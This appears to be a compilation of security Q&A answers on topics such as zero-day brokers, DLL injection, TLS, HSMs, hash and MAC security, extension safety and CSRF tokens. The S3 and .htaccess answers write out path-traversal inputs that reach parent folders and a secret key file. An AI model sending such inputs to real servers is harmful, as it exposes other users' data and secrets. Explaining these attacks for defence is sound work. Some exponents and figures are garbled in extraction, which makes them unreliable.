What is the procedure for selling a zero- day?

This answer only touches on the process of selling 0days to resellers like Zerodium and is only guesswork.
From the Zerodium FAQ:

What happens after accepting an acquisition offer from ZERODIUM?
After evaluating and approving the research, ZERODIUM will send you the final acquisition offer and the agreement to sign.
By signing the agreement, you will accept to sell your research to ZERODIUM and transfer all related intellectual property rights to us, meaning that the research becomes the exclusive property of ZERODIUM and you are not allowed to re-sell, share, or report the research to any other person or entity.

You can take a look at the submission process of Zerodium in this chart.
The part I marked in italics in the text is the important one. You as a researcher have to make sure that you document your research in advance and may1 then claim intellectual property for it. That is pretty easy and cheap for instance in the US (costs 35$ I think).
Zerodium is then not allowed to reuse your code, unless you transfer the intellectual property to them. It will however - as you already pointed out - be pretty hard to prove that Zerodium will not do that. That is because Zerodium and their buyers do everything to disguise any business dealings they have. Possibly a contract is signed after Zerodium claims its interest in an exploit and before a researcher sends a pre-offer, but that is only speculation on my side.
In conclusion: A lot of that transaction - as every transaction with a 0day broker anywhere else - will rely on trust. If you don't trust them in the first place2 don't sell to them. But: If you have a working exploit, my guess is they won't fool you. Because someone who is capable of developing one working exploit - the product Zerodium is trying to sell - is probably capable of developing more. So from Zerodium's perspective it is economically smart to establish a relationship and therefore trust to this person.

1 I'm not 100% sure on this, but I think you still have the Intellectual Property on your creation, even if it is not registered. Quote from the linked PDF: "With
unregistered IP, you automatically have legal rights over your creation. Unregistered forms of IP include copyright, unregistered design rights, common law trade marks and database rights protection for confidential information and trade secrets"
2 IMHO: you shouldn't, just for ethical reasons


How to track network file share accesses on workstations

You need to enable file auditing to accomplish this.

Locate the file or folder you want to audit in Windows Explorer.

Right-click the file or folder and then click Properties --> Security --> Advanced --> Auditing --> Edit -->  Add

Enter the name of a user/group you want to audit for the selected file or folder, and click 'Check Names' to validate your entry. (You can use 'Everyone' too), --> OK

Select 'Success and Failure' next to Full control to audit everything for the selected file or folder

Click OK in each window until you are back at the Windows Explorer window and
Repeat these steps for all files or folders you want to audit


Preventing Voter Fraud on a Social Media Contest

Rather than logging in to accounts they control, I expect voter fraud would be done by clickjacking or CSRF, harnessing the social viral power of Facebook to attract unwitting accomplices.

With the prevalence lately of images on Facebook that claim that you can obtain a PS4 simply by "liking" and "sharing" an image and the sheer numbers of people who do so, I suspect it would be possible to create something similar that tricked Facebook users into signing up to your site and submitting the voting form.

Another possibility is that the viral image on Facebook could tell them that they had to sign up and vote for a particular entry in your competition to win the PS4.

CSRF has standard mitigation techniques involving nonces, secret keys and MACs.  There are mitigation techniques for clickjacking too.

Determining that someone is voting in a particular way for a separate reward is more difficult.  Probably a job for an A.I.  The first referrer header you see from a client may offer a clue as to their motivation.  The amount of time they spend evaluating the various voting options might as well.  Choose too quickly and it's probably fraud.  You will probably get good data out of tracking mouse movements.  These techniques would probably work for your original fear of a single person logging in to multiple accounts.


what is the difference between dll hooking and dll injection

Hooking uses an operating system feature to monitor events sent to the process, like low level keyboard and mouse messages. Applications can utilize a targeted or global hook in order to keylog (malevolent) or listen for keystrokes in order to perform value adding functionality such as executing macros or other hotkey functionality. (benevolent)

DLL injection is what it sounds like, a dynamic linked library is injected into the target process by forcing the process to load the DLL. Once loaded, the injected DLL can act sort of like an API that can be accessed externally from the process (think backdoor API), and can interact with the public internals of the process that would otherwise be impossible.

DLL injection is mostly use benevolently by software debuggers and accessibility software for the disabled. However it is also used for cheating in single-player videogames through things like cheat-engine and trainers.

A trainer utilizes both of these techniques. The application that is loaded (the trainer) hooks the target application and listens for keystrokes associated with hotkey functionality. Usually at the same time it will DLL inject the application with their backdoor API.
The trainer then listens for keystrokes that are associated with hotkey functionality, and when that keystroke event is detected, executes the associated functionality through the backdoor API.

As far as security is concerned, you do not want any non-trusted software doing either of these. You should be very careful with who you trust, and that is why non-reputable trainers are so dangerous to install and use. Both of these techniques require elevated permissions from the OS, which gives them access to other high-level OS features that you would never want non-reputable software to have.

Keep in mind when using these applications can listen to everything when loaded. Just because they say they inject "ApplicationA" doesn't mean they aren't also injecting your web browsers and password managers as well.

Use at your own risk.


When does chrome generate the prime number for TLS communication?

Never. Chrome does not support FFDHE (which is how TLS calls Diffie–Hellman over the multiplicative group of integers modulo p) since 2016. Chrome only support ECDHE over NISP P-256, NISP P-384 and X25519 (ECDHE over Curve25519).

When chrome used to support FFDHE, the group and generator were set by the TLS server, not the TLS client, and the group prime was generally either a value from the RFCs (Oakley group) or a value generated by running openssl dhparam 2048 (or the moral equivalent), usually once on install and never again.

In TLS DHE, the values generated online (the ephemeral keys) do not require generating large prime numbers. For more, see for example these two excellent crypto.SE answer on the properties of p and q for secure DH by Thomas Pornin.

The cryptography code in Chrome is open source, and is used also in Android and in Google's servers. It's Google's fork of openssl called BoringSSL. The main people working on it are Adam Langley and David Benjamin. You can read the code and often the explanation for why something was done. For example, DHE support was dropped because too many servers use a 2048 bit cert and 1024 bit DHE, and this is insecure, but the servers will only get fixed in practice when they upgrade the OS, which for LTS OSs can take a very long time.

If you want to read similar code that is in use, you can look at openssl 1.1.1.

TLS state machine, choosing DH group, generating key.

Inside choosing group, we see that if not overriden, you get values from RFC (not generating new group online during TLS handshake).

Inside generate_key we see the private key is just random bits. No generating large prime numbers in sight. The public key is computed from the private key by modular exponentiation.


Are there any hardware HSMs that can host/run custom applications using the HSM processor(s) within the hardened security boundary?

The Thales nShield HSM (previously nCipher) allow for generic programming. This is a rather expensive option; it must first be enabled in the HSM (through a "feature file" which is signed by Thales and specific to the serial number of a HSM), and then the extra code can run as long as it is signed with a key known to the HSM for such usage.

With that option, you will get a C compiler with a reduced C library, and some API which give access to the HSM features. The internal OS allows for one process (but multi-threaded) and cryptographic operations are done with transactions; there are also transactions to exchange arbitrary binary blobs with the external world (the host PC). The core CPU is not very powerful (think 60 MHz ARM or PowerPC) but there is some substantial RAM (megabytes, even dozens of megabytes).

Thales/nCipher HSM do not have a lot of permanent storage features (there are a few kilobytes of EEPROM but that's all). Actually, the HSM only stores a master key (which you cannot access), and everything, including the "keys" which are "in the HSM" are off-loaded, with encryption. You can do the same: store your data stored on the host, sent back to your internal module; the data is encrypted with one of the keys (which are virtually "in the HSM"), and your code in the HSM does the decryption.


Any vulnerabilities in allowing users to choose path of S3 file?

The two possible vulnerabilities that come to mind are Path Traversal and XSS.

To protect against Path Traversal validate the path input to make sure the user cannot change it to include characters such as .. or / or their encoded versions (e.g. %2e%2e). If they could there is the possibility that your application (or the S3 API) would interpret the characters to be the parent or root folder.

For example, if the user was saving on S3 in their /foo folder and they set their folder name to ../bar/ you should make sure the file is not saved in /bar instead (which may be another user's folder).

XSS is only an issue if the domain is shared with any application code that uses cookies. Unlikely in this scenario, but thought I'd mention it just in case. This would also only really apply if the user could influence file content such as being able to include <script> tags and then reference the page as a HTML document that a user could be enticed to visit which would then transmit cookies to the attacker.


Difference between Second Pre-image Resistance and Collision Resistance in Cryptographic Hash Functions

Collision resistance is about the infeasibility of finding two distinct inputs m and m' such that h(m) = h(m'). The attacker gets to choose m and m' arbitrarily, as long as he ends up with two distinct messages that hash to the same value.

Second-preimage resistance is very similar except that the attacker does not get to choose m. Instead, we give him m, and challenge him with finding m' (distinct from m) such that h(m) = h(m').

A second-preimage is also a collision, but we keep the concept distinct because second-preimages are supposed to be substantially harder. If the hash function has an output of n bits and is "perfect" (no known weakness), then the cost of finding a collision is 2n/2, while the cost of finding a second-preimage is 2n (i.e. a lot more).

Suppose that we are talking about signatures. Since a signature algorithm begins by hashing the data that is to be signed, and then works only with the resulting hash value, then it follows that if h(m) = h(m'), then a signature s on message m will also be a valid signature on message m'. The goal of the attacker is to forge a signature, i.e. get a signature that seems valid on a message of his choosing.

If the attacker sees a valid, signed message m, then he may want to find a message m' that hashes to the same value. This is the second-preimage model. For the signature system to be robust, the hash function must provide second-preimage resistance.

Collision resistance, on the other hand, is not necessary in that case. It is necessary, though, with another model where the attacker can obtain a signature on a message m that looks innocent, and wants that signature to be also valid on a message m' with less benign contents. For instance, I am the attacker and I send you a contract where you promise to send me 1$. However, I crafted that contract m such that it collides (hashes to the same value) with a slightly different contract m', where you promise to send me 1000000$. If I can get you to sign the first contract, then, thanks to the collision, your signature also applies to the second one (and you lose).

Thus, collision resistance and second-preimage resistance are two distinct concepts, and what you need depends on the context. In the case of signatures, you need at least second-preimage resistance; but if the context is such that the attacker can obtain signatures on data that he chooses, then collision resistance is also needed. This has been demonstrated with MD5 as the hash function, and X.509 certificates (mind the details: the collision attack on MD5 could be applied to certificates because the researchers found a CA that generates certificate serial numbers in a predictable way).


Is reading from prod to dev a security concern?

I don't think it's possible to answer this generally.  But I can think of some things that MIGHT be valid.

Prod has data in it that should only be viewed by certain people.
Since prod normally feeds dev, the "secret data" would have to be mitigated in some way before it gets to dev, or the data itself is time sensitive.  If it's not, then the only difference between prod and dev is dev is generally older.
Prod has sensitive usernames/passwords/configuration items that
shouldn't be given to developers.

At the least though, your security expert should be able to identify the REASON behind the security concern rather than you having to guess at them.  If he's not, he's simply using his authority unreasonably, and not working towards a solution that meets everyones needs.


TL;DR Don't worry about your username if it isn't the default admin username, worry more about securing your passwords with strong, unique passwords.

There isn't a good way to answer this question that can be fully satisfactory, because there are too many usernames.

Just like Matthew's suggestion to check out https://github.com/maryrosecook/commonusernames/blob/master/usernames.txt, and you can also check out https://sg.answers.yahoo.com/question/index?qid=20111101181037AANzt6G to get another list.

There are many lists like that online, so finding what people expect a common username to be is easy.  The problem I see is how that person worded that answer you quoted.  Really common usernames aren't the problem, it's default usernames that can be changed.

Think of it like this, your system is only as secure as you are.  So if you use admin as a username for example, then it's easier to guess an administrator's username.  If you use a strong, unique password for each website, then it doesn't matter if they know your username (which can still be easy to find).  If you use a weak and/or the same password for each website, then you will eventually have a problem where they use a dictionary attack of leaked passwords and eventually get in.

So focus more on strong/unique passwords rather than common usernames, because that's a very small piece of the problem.  And depending on the system, it could be very easy to find valid usernames (e.g. email addresses, abbreviations of lastname firstname, etc.).  Also to give you an idea how easy it is to get someone's username, if you go to any website that lets you register, it will tell you what you need for a username.  If it says put in your email, then you know it's someone's email address, but if it says to enter one on your own, it's most likely a common username they use for other websites too.  Now just because you don't know what other people choose for their username, that doesn't mean it isn't easy to get.  When hackers get lists of usernames and passwords, they will get it from sites with weaker security like forums or third party sites.  After they have a list, they can dictionary attack sites like banks, video games, or even your facebook to get what they want.  This is why you want to use unique passwords for every website you go to, so if that does happen they can't get into your email and reset every password you have (that they can find).

After all that if you still want a list, check out the links or just google search it with different keywords like common or popular passwords.


TL;DR: No.
The TLS connection needs to validate the server certificate, and the attacker will not have a valid example.com certificate. He can either create a self-signed certificate, or a certificate signed by a CA (Certificate Authority) that he owns. And that attacker will not own a valid CA that is trusted by browsers unless he is a government, and even if he is, his CA will be blacklisted very fast.
On both cases, the client browser will show the "Invalid Certificate" warning, and the client will have to acknowledge that and tell the browser to load the site anyway.
That's why TLS was created: to defeat MitM attacks like that. With the certificates and list of trusted CAs, every client can be sure that he is talking to the server he thinks he is talking to, and nobody but he and the server can know what is being transmitted.
There are a couple issues with TLS (and SSL before it) that can allow an attacker to know what is being transmitted or change something, but those attacks are quickly patched.


How can I uniquely identify an user when cookies are not an option?

Before cookies existed there was a form of authentication called "basic access authentication"  This form of authentication sends the username and password with each request.  It's still used in some primitive web applications.  Remember though that this doesn't provide any encryption of the password, so you MUST use https, otherwise an  attacker can trivially learn the password.


Is it OK to seal data to TPM SRK directly?

In theory, it is possible as a sealing operation needs a Storage Key, and a SRK is a Storage Key. In pratice, it is not implemented as usually the SRK is given the WKS(Well-known-Secret = 20 bytes of 0x0) or an empty password, so concerning the security dimension, it is not a good idea.

EDIT: I just checked in TrouSerS, tpm_sealdata creates a key withkeyCreateKey which calls Tspi_Key_CreateKey which needs a wrapping key. tpm_sealdata calls keyCreateKey with the SRK. So if you use TPM 1.2 and TrouSerS, you need a wrapper, and this wrapper is the SRK. I don’t know how it is done for the TPM 2.0


Cryptographers have a generally accepted definition of MAC security: resistance to existential forgery under adaptive chosen-message attack.  Most cryptography textbooks cover this definition—for example, the Handbook of Applied Cryptography is a good source for this.  The HAC is available online, so you might want to browse Chapter 9.  It's a bit dated on the algorithms side, but the definitions are generally still applicable.

But to just coarsely expand this, the security goal for MACs is this.  Assume that:

The attacker doesn't know the defender's secret key;
The attacker can cause the defender to compute tags for messages of their choice;
The attacker can use the results of earlier queries to refine later ones.

Then a MAC is broken if an efficient attacker is able to forge any valid (message, tag) pair for a message they didn't query as part of #2.  (Note that proper formulations of this definition have some math attached to them quantifying the effort that the attacker puts into the attack and what probability of success is unacceptable.)

If the key is secret this definition implies the security goals that you list (see the HAC for more detail):

  Attacker cannot generate valid Hmac of given message m without knowing key
  Attacker cannot finds collision that satisfy Hmac(k',m') = Hmac(k,m) such k',m'
  Attacker cannot recover key k

HMAC is designed to meet at least MAC security, but there are also proofs that HMAC supports another, stronger goal, called PRF security ("PRF" = pseudorandom function), which says that an efficient attacker can't tell the function apart from a randomly selected function of the same domain and range.


Are official browser add-ons really safe?

You cannot assume that an add-on is safe "because it's hosted in one of the official extension galleries".
In this answer, I start with the explanation of how extensions end up in the extension galleries for the popular browsers. At the end, I dedicate an extra section to Chrome.
How does an item get listed in the official stores?

Anyone with Google Wallet can pay 5$ to upload up to 20 extensions/apps to the Chrome Web Store. Extensions with binary components (NPAPI) are always reviewed manually. Other extensions are only checked by Google's secret scanner, which may put an extension on hold ("Pending review") if needed. This scanner is not perfect: Two months ago, I found many malicious extensions that violate the Developer Program policies. (I've filed some Report abuse forms; some apps were taken down, others weren't even though they contained the same kind of adware).
All Firefox add-ons on AMO are put in a review queue upon submission. All editors who review add-ons have to follow the guidelines as stated in Performing a review. Extension developers are supposed to follow these instructions.
Safari extensions can be submitted to the Apple Extension gallery. Developers have to adhere to the requirements of this document pdf. After passing the review, the extension will be listed in the gallery. Apple does not host the extension files themselves. After passing review, the extension will receive a prominent location in the relatively quiet extension gallery. Upon click, the extension from an external location is immediately installed without confirmation. As of Safari 9, extensions can choose to host the extension data in the extension gallery if they wish.
All extensions in Opera's extension gallery are manually reviewed. Extensions will only be listed if they pass review (acceptance criteria).
Extensions and add-ons on IEGallery.com are manually reviewed. The review criteria are very vague though. Further, IE extensions are compiled code, so the reviewers can't even know for sure that the add-on is safe.

Auto-updating
All of these four galleries support automatic updates of extensions. Unless stated otherwise, the updates will automatically be installed (unless turned off by the user).

Updates to Chrome extensions are automatically checked, sometimes followed by a manual review. When an extension requests more permissions, they're automatically disabled until a user confirms the new requirements. The developer documentation provides list of permission warnings and their meanings. Google has also created a page (with fewer details) to explain the warnings to users - see Permissions requested by apps and extensions.

Updates to Firefox add-ons are manually reviewed.

Updates to Opera extensions are manually reviewed. Opera abandoned their old extension ecosystem and switched to a Chromium-like extension API in Opera 15. Before Opera 15 (Opera 12.xx and earlier), updates were automatically installed. Starting from Opera 15, extensions are disabled when a new permission is added, just like Chromium (see this comment on Github).

Safari extensions hosted in the extension gallery itself are probably  checked by Apple1, (updates to) Safari extensions hosted elsewhere are not. As of Safari 9, extensions can only be auto-updated if they are hosted in Apple's extension gallery.

Internet Explorer extensions are not automatically updated, unless the developer has built this feature.

External code
Reviews are useless if vendors allow the use of external JavaScript code. So, which galleries allows the use of external code?

Chrome extensions may contain external code.
Firefox and Opera forbids the use of external JavaScript code in add-ons.
Safari extensions are hosted on servers not controlled by Apple, so the developer is free to include whatever they want.
Internet Explorer extensions are generally closed-source compiled binaries, so developers can run whatever code they want.

Privacy
Many extensions collect usage statistics without the user's consent. Chrome even offers a tutorial on setting up tracking in extensions...
Chrome
Firefox and Opera are doing quite well with the security of their extension platform. I don't put as much trust in the Chrome web store, because it does not manually review all extensions.
The only way to be sure that an extension is safe is to review it yourself.
For this purpose, I've created the "Chrome extension source viewer" Chrome extension. This extension allows one to view the source code of an extension in the Chrome Web Store. It ships with a code beautifier to make it more readable.
The first place to look at it a file called manifest.json, because it defines the capabilities of an extension. Do you see anything suspicious? For instance, does an extension which promises to add smileys to Facebook define a content script for *://*/* (=match pattern for every page)? Don't install the extension.
Look at the list of files. Do you see a file called analytics.js? Know that you're going be tracked. This is not necessarily wrong, but it's good to know. Look in the files for _gaq.push, which is the standard way to use Google Analytics.
Final note: Do not blindly trust an extension because it has a high number of users. Look through recent reviews and look for any red flags. Ignore the usual trolling comments and "1 star - does not work!" (unless there are heaps of them), and focus on comments that raise concerns about privacy or security.

1.  Apple likely performs these checks, but it is unconfirmed.


Security issue with .htaccess with dynamic http_host redirect?

From what I can see so far it looks like you've covered your bases fairly well.  However, it never hurts to run through what is protecting you, so you can make sure and not accidentally break it.

As you mention, the HOST header can be set by the user, so it should be treated as unsafe data.
The host is used to determine the final file to load (RewriteRule ^(.*)$ /files/%{HTTP_HOST}/$1 [L,QSA]).  This carries a risk of directory traversal.
In particular, the issue would be with hosts like ../../secret/key.secret. Now, it's quite possible that Apache would automatically reject something like that.  I'm not 100% sure because I haven't used Apache and .htaccess in quite a while, but regardless I wouldn't rely on Apache as my sole security measure.
However, you're not.  Right now the regular expression that must match the host to trigger this rewrite rule is very restrictive, and a directory-traversal host wouldn't match anyway (which is good!).
However, that could change in the future.  In particular, your current setup is safe because you haven't left any room for subdomains.  I.e. your rewrite rule will match www.example.com but it won't match api.site.example.com.
Future needs may change, and you may quickly discover that you have to update your rule to support subdomains.  When that happens you'll want to be careful to make sure you don't also add support for directory traversal hosts.
For instance, one wrong way to do it would be to update the middle of your regular expression to be: ^(.*)\.(?:com|co\.uk|es|de)$  That might be silly, but it is also a quick and easy way to support subdomain matching in your host, and a developer who just wants it done quickly might opt for something like this.  It also happens to match directory traversal payloads in the HOST header.

So you are safe for now, but it is also important to keep in mind that this is something that might have to legitimately change in the future, and someone may accidentally introduce trouble when it changes.  I'd handle that with a few steps:

Confirm that Apache wouldn't allow a directory traversal attack anyway
Leave a comment about the importance of avoiding directory traversal attacks here
Put in an integration test that tries a directory traversal and confirms that it doesn't work.  Unfortunately, since this is implemented in apache, you can't do that... so I guess it's just 1 & 2!


Anonymity against web analytics and site operators

You don't really need to resort to Tor to avoid this kind of tracking, I would firstly just use a VPN to hide my IP (much quicker than Tor).

Beacon/analytics blocking comes down to selectively stopping the associated JavaScript. I would then just use my regular web browser with a beacon/analytics blocker such as Ghostery which has a huge database of analytic-script fingerprints. This app also does social media plugin blocking.

This solution is better for maintaining functionality because it doesn't block JavaScript all together like the noScript plugin. Of course if a new analytic script is created it might take a little time before it's included in the database.

As for your theoretical Facebook question; create an account not linked to your real identity.


TL;DR: Shortened links are not safe at all, and have never been.
https://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=bit.ly shows the following:

What is the current listing status for bit.ly?
Site is listed as suspicious - visiting this web site may harm your computer.
Part of this site was listed for suspicious activity 31 time(s) over the past 90 days.
What happened when Google visited this site?
Of the 91854 pages we tested on the site over the past 90 days, 669 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2014-10-24, and the last time suspicious content was found on this site was on 2014-10-24.
Malicious software includes 200 trojan(s), 185 exploit(s), 152 scripting exploit(s). Successful infection resulted in an average of 3 new process(es) on the target machine.
Malicious software is hosted on 365 domain(s), including hotclip.mobi/, likoj.net/, denotablin.com/.
353 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including trackcash.org/, javaistlus.com/, tracksite.us/.
This site was hosted on 4 network(s) including AS30060 (VERISIGN-ILG1), AS14618 (AMAZON-AES), AS15169 (GOOGLE).
Has this site acted as an intermediary resulting in further distribution of malware?
Over the past 90 days, bit.ly appeared to function as an intermediary for the infection of 37 site(s) including phimdata.com/, zing3g.net/, lauxanh.org/.
Has this site hosted malware?
No, this site has not hosted malicious software over the past 90 days.
How did this happen?
In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.


Can people use AES VPN tunnels to hide their activities from authorities?

VPN is essentially a way to connect a remote system to a local network, as if it were actually on the local network. This is usually done via L2TP (Layer 2 Tunneling Protocol), which forwards network traffic over UDP packets. The protocol itself does not provide any encryption or authentication, so it is usually ran alongside a security protocol, e.g. SSL or ipsec.

When a VPN is tunneled through SSL, the data will be encrypted in a way that prevents eavesdroppers from reading (or modifying) the conversation. This is essentially the concept you've read about in the article, and it's a popular trick in countries with censorship and oppressive governments, e.g. China.

There are attacks on these security measures, though. It's possible to identify L2TP traffic even when encrypted, using heuristic analysis on packet sizes, timings and flags. This doesn't reveal the encrypted information, but allows governments to make a reasonable estimate that you're trying to circumvent their censorship or other laws. Self-signed certificates can also be broken via man-in-the-middle attacks, since there's no certificate authority to ensure the validity of the certificate.


SSL cookie without secure flag set situation for "Authorization: Bearer"

The authorization token here is not a cookie. RFC-7235, which defines the Authorization header, states that:

  The HTTP authentication framework does not define a single mechanism
     for maintaining the confidentiality of credentials; instead, each
     authentication scheme defines how the credentials are encoded prior
     to transmission.

So it depends on the specification of Bearer, which is RFC-6750. It states:

  TLS is mandatory to implement and use with this specification.

Which tells me that it should be possible to retrieve it and more importantly, not using TLS here is a vulnurability.


How do shared folders work with Lastpass

From https://lastpass.com/support.php?cmd=showfaq&id=2456:

  Every LastPass user generates a public/private key pair once (client side). The public key is sent to the server, the private key is encrypted (with their standard local encryption key) and sent to the server.  Roles and shared folders are implemented a little different, but they both follow the same general model -- When you want to share data with someone else, you pull their public key and use that to encrypt the data. The other person is the only one that can decrypt it (using their private key).  All this ensures that users can securely access the information stored in Shared Folders.


Securing AES 128 encrypted ZIPs against brute force attacks

System.Random is not cryptographically random (see http://msdn.microsoft.com/en-us/library/system.random.aspx). It's predictable enough to weaken your crypto considerably.

See Tie-fighter's answer below for the keyspace calculation (which I got hopelessly wrong by using 61^8 instead of 61^8)!

I'd be more concerned with how that password is stored. Surely your application needs to decrypt the zipfiles on the (potentially-compromised) computer in order to use them? Is the password to do this stored on the same machine?

Also, to throw a spanner in the works - surely your 'worst case scenario' is that an attacker gets access to the client's computer and watches the screen while the legit user does work with sensitive data?


Permissions security scenarios for a web server

Having /var/www/site.com owned by www-data:www-data

If www-data is also the uid your webserver runs as then you have a really insecure system. The webserver should only have read access (and execute for directories). If you do need to allow the webserver to write data then this directory should be ringfenced - and preferably outside the document root.

If alexb is the only account which needs write access then "alexb:www-data ownership for /var/www/site.com with the same 750 and 640" is a reasonable approach. However if you have multiple users who need write access, then the best solution is probably to create a new group with that access, allow the webserver read access as 'other' (775/664) but remember to set the user umasks approapriately (and enable the setgid bit on directory (2775)


Suspicious text received from my # but I did not send it - is there definitely a virus involved, and if so who has it, the sender or receiver?

THere are two possible scenarios:  There is a virus on the sender's phone, or the SMS was spoofed, as per the SMS Spoofing link in your post. I think the most likely scenario is that there is a virus on your phone that WebRoot is not able to detect.  A good way to check is to ask some of your other contacts to see if they have received a similar text. If this were a virus, I would expect your other contacts to have received similar messages.

If this was done via SMS spoofing, this implies that whoever was trying to compromise the receiver's phone knew that the two of you had a pre-existing relationship, assuming they weren't just spoofing random numbers.  This would imply a targeted attack.


HMAC is not an encryption mechanism. It works like this: you can compute the HMAC output over a given message and another piece of data called the key. Computation is deterministic, so for the same message and key you always get the same output. However, without knowing the key, it is infeasible to compute the HMAC output on a given message, even given a bunch of other HMAC outputs computed with the same key over other messages (so, in particular, one cannot recover the key from a HMAC output, even knowing the message).

HMAC thus serves as keyed integrity: you store the HMAC output with some data, so that you can recompute the HMAC later on and see if it still matches what is stored. On mismatch, you know that either the data, or the stored HMAC output, or both, has been modified.

However you put it, HMAC uses a key which is secret. If there is no key per se, that's no longer the MAC model, that's just creatively complicated hashing.

I understand your question as being implicitly this: you have an encryption system, which, for a given message, uses a secret key K and an per-message Initialization Vector (which you can call "nonce" if you wish). The IV is adjoined (as cleartext) to the encrypted message. You want to add some integrity check, so that you can reliably detect malicious alteration. So your idea is about computing something with hash functions, over the concatenation of the plaintext message and the IV, and store the hash output as a MAC (transforming the hash into "HMAC with the same data as key and main input" does not fundamentally change things here).

Basically, this kind of scheme is weak. The attacker knows the IV (since knowledge of the IV is necessary to decrypt, it cannot be itself encrypted). If the attacker "guesses" the message, then he can recompute the hash. If he can do some targeted modifications on the message (which is especially easy if the encryption is XOR-like, like a stream cipher, or a block cipher in CTR mode), then he can simply recompute the hash value and store it there. Even if you encrypt the hash output with the message itself, then the attacker can still modify the message and the hash correspondingly if encryption is XOR-like.

Also, that hash (or sort-of-HMAC output) can be used as a test to guess the message: the attacker can hash various messages combined with the IV, until a match is found.

If you do want to do encryption with a key, and have checked integrity, you are warmly encouraged to do so with an encryption mode which has been designed for that, e.g. EAX. If there is no encryption in your system and you still want checked integrity, you will need to store a secret key for that, however you take it, and there is little point in not using HMAC as it was meant to be, i.e. with a key as the "key".


How to deal with third parties in physical pentests?

It depends very much on the situation and your contract.

Usually, reputable companies who conduct physical pentests have extensive guidelines for their pentesters in many situations. Such instructions are to be followed. I'm going to give a rough overview over possible ways such third-parties may be interacted with:

Local Police

Local Police is to be treated like police is treated anywhere else. A Permission to Attack means that you are legally allowed to conduct a physical pentest, not that you have the authority to ignore the police. Should a police officer instruct you to identify yourself or similar, you have to follow suit.

In fact, the fact that you are conducting a pentest is completely irrelevant to any police interaction. Interact with police in accordance to local laws.

Neighbors

Neighbors are people that have nothing to do with the pentest you are performing. You can't be granted any authority over them, just like the company that hired you to perform the pentest has no authority over them.

That doesn't mean you can't strike up a friendly conversation with them if you happen to see them doing some garden work across the street and see what kind of information you get out of them. But for the purposes of your assignment, they are not any different from regular people you meet on the street. Again, your involvement in this pentest doesn't change anything.

Third-Party Staff

This should be covered either in a general policy of your employer, or specified in the contract of the assignment. In general, they are likely to be treated like any "regular" employee of the customer.

For example, if you can walk inside the perimeter together with the guy who was hired to fix the printer, all the better.

Non-Staff People

Tread carefully! Attempting to social-engineer customers, guests, patients, etc... can very quickly become a very difficult subject for you. This should actually be discussed with the client beforehand, and be explicitly written down.

For example, interacting with patients in a hospital may make them and their families feel disrespected, and you want to avoid that.

Emergency Personnel

In case of an earthquake, a pentest would be the least of my worries. Should emergency personnel appear on-site, aid them as best as you can. You don't know the situation, and somebody's life may be in danger. A pentest can always be done again tomorrow.

Real Criminals

Contact security or law enforcement immediately. Don't play hero, just do your job.


You're using a TCP-Connect scan (-sT).

When doing this, nmap just uses the Operating System call for connect(), so it's really the OS deciding wether or not a TCP Retransmission should take place or not, nmap doesn't control this in a TCP Connect Scan as far as I know.
(The docs are missing this information)

TCP Connect can be run as a normal user, whereas the actual manipulation to put max-retries into effect would require a RAW_SOCKET (which needs root permission).

Try doing the same with a TCP SYN scan (-sS), and your --max-retries 0 should show it's use in Wireshark!


How to handle emails as usernames under GDPR?

IANAL, but GDPR does not make encryption mandatory for personal data. Read this article to understand the complexity around encryption and GDPR better.

  In the GDPR encryption is explicitly mentioned as one of the security
  and personal data protection measures in a few Articles. Although
  under the GDPR encryption is not mandatory, it is certainly important
  to see where and why encryption is advised.

  ...

  GDPR encryption: the what you should know part
  Before doing so let’s be clear: GDPR compliance, as we wrote before is a business strategy challenge and encrypting personal data STRICTLY SPEAKING is not mandatory.

  Read more at https://www.i-scoop.eu/gdpr-encryption/

Preferably you do a Privacy Impact Assessment. Afterwards make a decision how you will handle the personal data. If you conclude that encryption of email usernames is a good decision, do it. For example if your web-application is called peoplewhoarechristians.com the usernames would be classified as sensitive data because it creates a relation between the user and their religion. But how sensitive the personal data is will depend by case basis and so will the actions to mitigate the risks. Also the law talks about a "implement appropriate technical and organisational measures to ensure a level of security appropriate to the risk", what appropriate is will differ per case.

Your approach feels good for sensitive personal data. I think it will be overkill for low risk personal data. Still I would document your decision. Email addresses are currently not sensitive data by default. Read this article about the difference between sensitive and non-sensitive.

We could argue that giving an email address as username means that the user gives consent for processing and aware that it could leak in combination with your app-name. But better safe than sorry and therefore I would ask clear consent for the usage. In this example the purpose of personal data collection and processing is authentication and probably access control, but don't forget analytics and things like error logging. If you plan to also use the email for marketing purposes be sure to gather extra consent.


If you have a HSM then the pepper should be in that HSM, because that's the whole point of having a HSM.

Otherwise, the pepper is a key which should be handled as such. Having a key involves key management; it should not (and, really, must not) be hardcoded in the source. The source code is copied in multiple places: developer's machine, versioning systems, many backups... The key really is a property of the server instance (lone server or set of servers that use the same set of registered users) while the source is, conceptually, shared between many server instances.

On Windows, the DPAPI is what will make auditors most happy, although one may say that the extra protection offered by DPAPI is not, in fact, that big. If you reboot your server, it starts automatically; this means that regardless of where you put the pepper, the cold storage of the server (harddisk contents) is enough to recover the pepper. The pepper is meant to resist partial read accesses by attackers (which is why you do not put it in the database), but if the attacker can read the registry, then he has a lot of control over the machine and probably won't be much hindered by DPAPI either. If you use the registry, adjust access rights on that specific key so that only relevant users may read it (typically, the user account under which the server runs).

Using a file incurs the risk of read access through a poorly developed PHP script that ends up dumping contents of attacker-chosen file names.

On Linux there is no registry and no DPAPI, so use a configuration file. A case could be made of running the pepper processing in a distinct process accessed through some inter-process communication mechanism (say, Unix-level sockets), and run the actual server code in a chroot.

In all cases, using a pepper has its own costs: you have a key to manage, i.e. to generate securely, and keep safe. If you lose that key, then you lose the ability to verify user passwords, which can be very inconvenient. In that sense, the pepper is more critical than the server private key for its SSL certificate.


Android, how to protect in case of theft

Since Ice Cream Sandwhich, Android devices support full disk encryption. This is based on dm-crypt and requires password or pin to unlock your phone. While users may find this irritating (the swipe method is not supported), it is a tradeoff you will need to consider to keep your info safe.

Apps that can whipe data or more:

Kaspersky Mobile Security
Touchdown

Email clients that encrypt your email:

GOOD
Voltage Securemail


How do I automatically add a user login token to my csrf page?

I would recommend to write a random generated csrf token into the session of the user during the login. So on a login other session variables like the username or login strings are set. At this position set a csrf token which is generated with bin2hex(random_bytes(128)).

On all pages with form fields use a hidden input field and echo the session variable. This could look like that:

<input type="hidden" name="csrftoken" value="<?php echo $_SESSION['csrftoken']; ?>" />

